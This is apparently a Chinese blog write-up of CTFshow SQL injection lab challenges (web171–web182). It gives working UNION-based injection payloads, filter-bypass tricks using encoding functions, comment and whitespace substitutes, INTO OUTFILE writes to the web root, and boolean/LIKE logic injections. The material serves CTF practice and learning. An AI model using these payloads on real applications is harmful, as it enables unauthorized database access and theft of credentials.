ctfshow-sql

本文最后更新于:2 年前

ctfshow-sql题记

web171-web175 无过滤注入

web171 ‘%23’ + ‘–+’

SQL注释符 : url(%23) === # === –+

payload:

1′ or 1=1%23

web172 to_base64()/hex()

对结果进行了过滤,查询出的数据中不能包含flag,给出了数据库ctfshow_user2
flag头为ctfshow{xxx},不包含’flag’ ……

可用to_base64()/hex()直接在输出时进行编码,绕过输出时特殊字符的过滤

payload:

1'union select 1,2 %23
//确定注入点
1'union select 1,password from ctfshow_user2 %23  
//get flag  
1'union select 1,to_base64(password) from ctfshow_user2 where username='flag' %23
//利用to_base64()进行特殊字符的绕过

web173 json数据


json数据类型

函数json_encode()和json_decode()


payload:

1'union select 1,2,3%23
//确定注入点  
1'union select 1,2,password from ctfshow_user3%23
//get flag 

web174 hex()/replace()

避坑:第一次点击进入的是web173的网页……我是傻逼

数据库:ctfshow_user4

返回数据,ban了flag和0-9

用的是替换的思路,将数字转换为其他字符,但分不清该字符是原字符还是替换后字符,
为避免该问题,用hex()函数将flag转为16进制,然后将0-9替换为q-z输出,
hex()返回值仅包含0-9和大写A-F,可解决上述问题。

payload:

1'union select 'a','b'%23
//确定注入点
1' union select 'a',(select replace(replace (replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','r'),'3','s'),'4','t'),'5','u'),'6','v'),'7','w'),'8','x'),'9','y'),'0','z') from ctfshow_user4 where username='flag')–+
//sql语句 get flag 

人工处理/脚本处理字符串,get flag

附python代码截图

web175 into outfile写入文件

数据库:ctfshow_user5

返回数据,ban了所有字符……正常数据都不回显……

select into outfield 功能:
导出数据到pc的指定目录下。

payload:

1′ union select 1,2%23
//确定注入点
1′ union select 1,password from ctfshow_user5 into outfile '/var/www/html/res.txt'%23
//访问res.txt get flag

web176-web182 过滤注入

web176 大小写

'union select 1,2,3 from ctfshow_user%23
//判断注入点
'union Select 1,2,3 from ctfshow_user%23
//确定注入点
'union Select 1,2,password from ctfshow_user%23
//get flag

web177 /**/

ban空格==>可使用/**/

数据库名,表名,列名可用”包含

1'union/**/select/**/1,2,password/**/from`ctfshow_user`%23
//get flag

web178 %09 %20

ban空格,/**/==>%09
%20无用

ASCII(09)===Tab(水平制表符)
ASCII(20)===Space(空格)

'union%09select%091,2,password%09from`ctfshow_user`%23
//get flag

web179 %0c/%0C

空格==>%0c/%0C

ASCII(0C)===换页键

'union%0cselect%0c1,2,password%0cfrom`ctfshow_user`%23
//get flag

web 180 ‘1’=’1

ban %23==>’1’=’1

group_concat()拼接字符串

'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
//get flag
id=-1'or(id=26)and'1'='1
//Y4tacker师傅的姿势

web181 逻辑 and>or

除了括号,其他可以代替空格的都给过滤了, 而且select还不区分大小写了

可用180中Y4tacker师傅的姿势:
'or(id=26)and'1'='1
放进入sql语句 –>
"select id,username,password from ctfshow_user where username !='flag' and id = "or(id=26)and'1'='1' limit 1; ";
因为and的优先级大于or,语句相当于
(username !='flag' and id =") or (id=26 and '1'='1')
左边为假,右边是真,所以sql语句相当于
select id,username,password from ctfshow_user where id=26 and '1'='1' limit 1 ;    
利用逻辑关系闭合payload

学废了学废了

借鉴上述原理,构建近似payload:

'or(`username`='flag')and'1'='1
'or(`password`like'c%')and'1'='1 //flag以c开头

web182 模糊搜索 like

在181的基础上+ban了flag

'or(`username`like'f%')and'1'='1 
//模糊搜索
'or(`password`like'c%')and'1'='1 
//flag以c开头

未完待续

………………………………


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!